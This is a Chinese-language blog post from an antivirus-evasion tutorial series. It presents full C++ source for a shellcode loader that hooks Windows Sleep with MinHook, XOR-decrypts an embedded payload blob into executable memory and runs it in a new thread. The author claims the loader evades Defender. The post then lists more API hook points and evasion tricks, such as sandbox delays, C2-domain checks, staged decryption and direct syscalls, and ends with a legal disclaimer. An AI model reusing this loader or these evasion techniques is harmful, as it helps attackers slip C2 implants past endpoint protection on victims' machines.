关于 Inline Hook 相关概念和环境准备详见上篇文章 【免杀】C2免杀技术(十三)Inline Hook 概念篇-CSDN博客 ,本文主要演示该技术的免杀效果
这里还拿之前文章里的xor加密(DF查杀)代码来做,原始代码详见 【免杀】C2免杀技术(四)shellcode分离加载_免杀shellcode加载器-CSDN博客
1、改造成 Inline Hook,使用MinHook框架,Hook sleep函数,代码如下
#include
#include
#include "MinHook.h" // vcpkg 已自动把头文件路径加入
// ── XOR Key
unsigned char xor_key[] = { 'k','u','n' };
const size_t key_len = sizeof(xor_key);
// ── XOR-加密的 shellcode(请替换为真实载荷)
unsigned char encoded_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x1f\x2f\x27\x13\x6e\x29\xfb\x4c\x87\x7c\x4e\xa3\x5a\x27\x7e\x12\x9b\xe1\xb6\xcb\x0d\x98\x9e\x71\x24\xf0\xbb\x35\xe9\x45\x21\xf4\x5f\x7f\x0c\x90\xf4\x74\xe8\x6a\xb2\xb5\x4f\x8c\xf6\xd6\x9e\x51\xdf\x81\xae\x76\x30\x26\xdd\xbd\x75\x63\x41\xc0\x67\x3c\x70\xd5\xf5\x79\xad\x41\x9f\xc5\xa7\x6a\xfd\x58\x20\xbd\xaf\x8c\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x5f\x5b\x5b\x5e\x50\x55\x39\x02\x1b\x0a\x04\x02\x1d\x4b\x3b\x3a\x4b\x43\x40\x5a\x4e\x4e\x3c\x3a\x39\x5d\x41\x55\x4b\x21\x1c\x02\x11\x0b\x05\x01\x41\x5d\x5b\x5e\x42\x78\x64\x6b\x43\xac\xbc\x37\xdf\x7b\x58\xff\x31\x6f\x96\x46\xfe\x4f\x38\xd0\xe3\xf3\xfb\x3c\x0c\x3a\x75\x82\x1c\xf1\xd9\x1d\xd2\x49\x6b\x9a\x46\x25\x9e\xaf\x69\x9a\x83\x12\xf0\x10\xb9\x26\x75\x0a\x1a\xae\x03\x61\x24\x6f\x4b\xe9\xe7\xcd\x58\xf4\xbe\x95\xd0\x46\x3f\x7b\x37\x76\xc8\x0b\x35\x3b\x9a\x2b\xaa\xd5\x1c\xaf\x4b\x35\xda\x25\x9a\x69\x5c\x0f\xd4\x0c\x3b\xba\x3d\xd2\xf0\xb9\x6a\xcd\x8f\x81\xe2\x9e\x52\xeb\x6d\x1e\x61\x25\x5c\x1e\xc4\x0f\x0e\x1f\xa3\x88\x22\x5b\x62\x3e\xc1\xee\xd7\x8c\x43\xf1\x25\x90\xf4\x7d\xbb\xbc\xc7\x7e\x9d\x83\xfa\xff\x9d\xbf\x51\x9f\x76\x7a\xb2\xc7\xa7\xa0\x6c\xdd\xdd\xe8\x55\xc9\xb7\xda\xa1\xfe\xd5\x9d\x0e\xab\x49\xb9\x06\x93\xac\x62\x68\xd6\xd4\x0b\x75\x17\x50\x9f\x02\x8f\x7b\x0d\x47\x97\xc7\x5d\xc6\x34\x43\x86\x20\xc3\x5f\x4e\xd5\x64\x83\x5d\x7f\x55\x6b\x69\x3e\x7f\x99\x02\x4f\xa4\x1b\xa1\x0e\x07\x03\x54\x1d\xf2\xe1\x04\x4d\xa8\x36\xd3\x09\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x59\x40\x5b\x45\x44\x6e\x6b\x7f\x42\x41";
size_t shellcode_len = sizeof(encoded_shellcode);
// ── 原始 Sleep 原型
using Sleep_t = VOID(WINAPI*)(DWORD);
Sleep_t fpSleep = nullptr;
// ── Hook 函数
VOID WINAPI MyHookSleep(DWORD ms)
{
static bool done = false;
if (!done)
{
done = true;
LPVOID mem = VirtualAlloc(nullptr, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (mem)
{
memcpy(mem, encoded_shellcode, shellcode_len);
for (size_t i = 0; i < shellcode_len; ++i)
((unsigned char*)mem)[i] ^= xor_key[i % key_len];
HANDLE h = CreateThread(nullptr, 0,
reinterpret_cast(mem),
nullptr, 0, nullptr);
if (h) { WaitForSingleObject(h, INFINITE); CloseHandle(h); }
SecureZeroMemory(mem, shellcode_len);
VirtualFree(mem, 0, MEM_RELEASE);
}
}
// 继续原始 Sleep
fpSleep(ms);
}
int main()
{
// 1) 初始化 MinHook
if (MH_Initialize() != MH_OK) { return 1; }
// 2) 更安全的做法:用“官方” API 名称创建 Hook
if (MH_CreateHookApi(L"kernel32", "Sleep",
&MyHookSleep,
reinterpret_cast(&fpSleep)) != MH_OK)
{
return 1;
}
MH_EnableHook(MH_ALL_HOOKS);
// 3) 触发
Sleep(1000); // 第一次调用 → 解密并运行载荷
Sleep(500); // 后续不再触发
MH_Uninitialize();
return 0;
}
2、代码很简单,编译出来,放到DF上,实现免杀!
3、图解执行路径
main() →
MH_Initialize() → MH_CreateHookApi("Sleep") →
修改 Sleep 的入口:jmp MyHookSleep
↓
Sleep(1000)
↓
MyHookSleep()
↓
VirtualAlloc() → memcpy → XOR 解密 →
CreateThread(执行 shellcode) →
SecureZeroMemory + VirtualFree →
fpSleep(ms) ← 调回原始 Sleep
↓
Sleep(500)
↓
fpSleep(ms) ← 已不再走解密路径
策略思路:Hook“没人怀疑你会藏东西的地方”
1、用户输入相关(常见但低风险)
藏在用户活动期间执行(例如点击窗口、鼠标滑动时)
函数名 | 说明 |
---|---|
GetMessageA/W |
消息循环(GUI程序常见) |
PeekMessageA/W |
非阻塞版 |
DispatchMessageA/W |
消息分发 |
TranslateMessage |
消息转换 |
2、网络通信相关(流量沙箱检测绕过)
C2 客户端上线后再触发载荷,例如 shellcode 挂在 recv
中解密执行。
函数名 | 说明 |
---|---|
WSARecv , recv |
收包触发逻辑 |
send , WSASend |
发送数据时执行逻辑 |
InternetReadFile |
下载数据后触发 |
3、文件/进程操作相关(高级操作才能触发)
只有在程序执行某些“高权限行为”时才触发核心逻辑。
函数名 | 说明 |
---|---|
CreateFileW/A |
打开文件时执行 |
WriteFile , ReadFile |
数据流交互时触发 |
NtOpenProcess |
开发者用来打开进程 |
CreateProcessW/A |
程序启动时植入/触发 |
So easy,诸位自行探索
技术/方式 | 说明 |
---|---|
Hook 延迟触发 | 执行次数到一定阈值后才加载(防沙箱) |
加特定域名检测触发 | ping 特定 C2 域名成功才解密执行 |
分阶段解密 | 每次 Hook 只解一部分,直到完整拼装 |
Syscall 替代 API | 用内联 syscall 绕过 ntdll Hook |
VEH 异常触发 | 使用访问违规 + VEH 机制触发免杀逻辑 |
Inline Hook 同动态 API 一样,都是对 Windows API 做文章,但是区别很大:一个藏起来,一个劫持它!动态 API 更注重“隐身调用”,对抗静态检测;Inline Hook 更注重“行为劫持”,实现执行流程控制或中间人插入。
维度 | Inline Hook | 动态 API |
---|---|---|
定义 | 修改目标函数内存指令(如前 5 字节)插入跳转,劫持执行流。 | 运行时通过 GetProcAddress 加载 API,避免硬编码。 |
操作层级 | 底层操作,更像是在“干预系统行为”。 | 上层绕过技术,更像是“规避静态特征”。 |
主要用途 | 劫持函数执行流程,插入恶意代码、隐藏原始行为。 | 避免导入表暴露 API,用于规避静态分析工具。 |
使用复杂度 | 高,需要理解汇编、函数边界、内存保护。 | 低,熟悉 LoadLibraryA / GetProcAddress 即可。 |
抗检测能力 | 高(可与 SSN hook/inline patching 等结合) | 中(主要对抗静态检测) |
典型应用场景 | 系统 API 劫持(如钩住 NtCreateFile 实现文件隐藏) |
Loader 构建(如动态加载 VirtualAlloc 执行 shellcode) |
实现开销 | 高,需改内存保护、重定向逻辑、备份原始字节。 | 低,仅需在运行时解析 API 并调用。 |
抗静态查杀能力 | 强,很多 AV 很难直接定位 Hook 点。 | 中等,仍可能被动态分析检测到 API 调用行为。 |
本文所涉及的技术内容,纯属技术研究与安全学习交流之用。请务必别拿去干坏事,不然出问题了,别来找我——我不会背锅的!
简单点说:
看了本文去练技术,不犯法我们是朋友;
看了本文去搞破坏,进去了咱也爱莫能助!
因使用、传播或“脑洞过大”地运用本公众号“仇辉攻防”所发布的信息,所造成的一切后果与损失,全由您自己负责!
本公众号和作者既不负责、也不赔钱、更不探监!
最后友情提示:网络世界虽精彩,法律红线不能踩!技术无罪,使用请善良!